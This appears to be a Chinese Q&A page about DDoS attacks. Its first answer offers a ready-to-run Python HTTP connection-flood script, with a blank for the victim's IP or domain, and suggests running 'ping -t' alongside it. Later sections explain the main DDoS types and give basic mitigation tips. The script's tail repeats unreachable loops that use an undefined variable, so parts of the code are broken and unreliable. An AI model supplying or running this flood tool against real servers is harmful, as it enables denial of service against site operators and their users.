谁会ddos。
我会。
DDoS用最简单来理解就是:我朝你扔苹果,扔好多,你接不住,苹果就撒了。DDoS也是这样,不断发出报文、包、连接请求,使对方服务器流量超载。如果会编程,用代码。不会的话,微软的PING可以代替一下。
DDoS的Py脚本如下:
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在双引号里输入对方IP或域名,要保证他联网了或开机了.
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def ddos():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
ddos()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
微软的PING命令版“DDoS”:
ping -t IP
(说实话,PING其实根本没效果哦,不过,DDoS脚本和PING一起用,效果比较大.)
望采纳!!!
DDOS攻击方式有哪些?
ddos攻击主要有以下3种方式。
大流量攻击
大流量攻击通过海量流量使得网络的带宽和基础设施达到饱和,将其消耗殆尽,从而实现淹没网络的目的。一旦流量超过网络的容量,或网络与互联网其他部分的连接能力,网络将无法访问。大流量攻击实例包括ICMP、碎片和UDP洪水。
TCP状态耗尽攻击
TCP状态耗尽攻击试图消耗许多基础设施组件(例如负载均衡器、防火墙和应用服务器本身)中存在的连接状态表。例如,防火墙必须分析每个数据包来确定数据包是离散连接,现有连接的存续,还是现有连接的完结。同样,入侵防御系统必须跟踪状态以实施基于签名的数据包检测和有状态的协议分析。这些设备和其他有状态的设备—包括负责均衡器—被会话洪水或连接攻击频繁攻陷。例如,Sockstress攻击可通过打开套接字来填充连接表以便快速淹没防火墙的状态表。
应用层攻击
应用层攻击使用更加尖端的机制来实现黑客的目标。应用层攻击并非使用流量或会话来淹没网络,它针对特定的应用/服务缓慢地耗尽应用层上的资源。应用层攻击在低流量速率下十分有效,从协议角度看,攻击中涉及的流量可能是合法的。这使得应用层攻击比其他类型的DDoS攻击更加难以检测。HTTP洪水、DNS词典、Slowloris等都是应用层攻击的实例。
DDOS是什么意思?
分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
DdoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项指标不高的性能,它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了-目标对恶意攻击包的"消化能力"加强了不少。这时候分布式的拒绝服务攻击手段(DDoS)就应运而生了。
服务器经常被ddos攻击怎么办?
服务器经常被ddos攻击可以采取以下几种方法防范或避免:
1.隐藏站源,减少网站的动态页面,尽可能的使用静态页面。
2.定期维护排查,做好相关漏洞扫描和修复工作,增加服务器在使用过程中的安全指数。
3.关掉多余的服务器和端口,让服务最小化,尽可能的减少被攻击的概率。
ddos攻击是什么?怎么阻止服务器被ddos?
攻击分两种,ddos或者CC。ddos也就是流量攻击,用超过你服务器本身支持的最大流量来攻击呢,导致服务器宕机。一般来说普通机房针对被ddos攻击的服务器,都是直接封被攻击的IP,这样能阻断流量,攻击停止解封。高防机房一般就是帮你硬扛,高防机房的流量都是几十上百G起步,你的攻击流量不一定有他高,只要超不过他的防御流量,那攻击就没有意义